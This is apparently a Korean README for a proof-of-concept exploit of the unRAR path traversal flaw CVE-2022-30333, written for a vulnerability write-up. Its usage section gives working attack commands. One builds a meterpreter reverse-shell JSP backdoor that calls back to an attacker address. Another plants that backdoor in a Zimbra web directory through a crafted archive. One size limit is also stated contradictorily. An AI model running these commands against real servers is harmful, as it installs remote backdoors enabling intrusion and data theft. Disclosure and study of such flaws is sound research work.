
CVE-2022-30333에 대한 개념 증명(PoC)입니다. 6.11 이전 버전의 unRAR에서 발생하는 경로 탐색(path traversal) 취약점입니다. AttackerKB에 올릴 라이트업을 위해 이 익스플로잇 데모를 만들었고, 곧 Metasploit 모듈에 통합하고자 합니다.
기본적으로 대상(경로 탐색 포함)과 일부 파일 데이터를 제공하면, 이 도구는 해당 파일을 해당 위치에 압축 해제하는 .rar을 생성합니다. 최대 파일 길이는 104바이트이고, 최대 파일 길이는 4096바이트입니다. (이 값은 취약점 자체에 내재된 것이 아니라, 파일을 생성할 때 제가 선택한 것일 뿐입니다.)
예를 들어, msfvenom으로 백도어를 생성합니다:
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.146 -f jsp -o payload.jsp
그런 다음 .rar 파일을 만들고 .jsp를 재미있는 위치에 심습니다:
$ ruby ./cve-2022-30333.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./payload.jsp > file.rar